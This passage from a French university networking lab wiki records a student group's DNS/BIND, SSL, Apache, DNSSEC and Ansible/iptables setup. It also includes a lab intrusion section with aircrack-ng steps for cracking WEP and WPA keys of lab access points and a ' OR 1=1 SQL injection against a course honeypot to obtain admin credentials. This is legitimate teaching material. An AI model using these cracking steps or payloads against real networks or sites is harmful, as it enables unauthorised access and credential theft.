l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot; &amp;lt;notextile&amp;gt;{&amp;lt;/notextile&amp;gt;{&amp;lt;notextile&amp;gt;{&amp;lt;/notextile&amp;gt; item &amp;lt;notextile&amp;gt;}}&amp;lt;/notextile&amp;gt;&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58004</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58004"/>
				<updated>2022-01-12T12:33:04Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
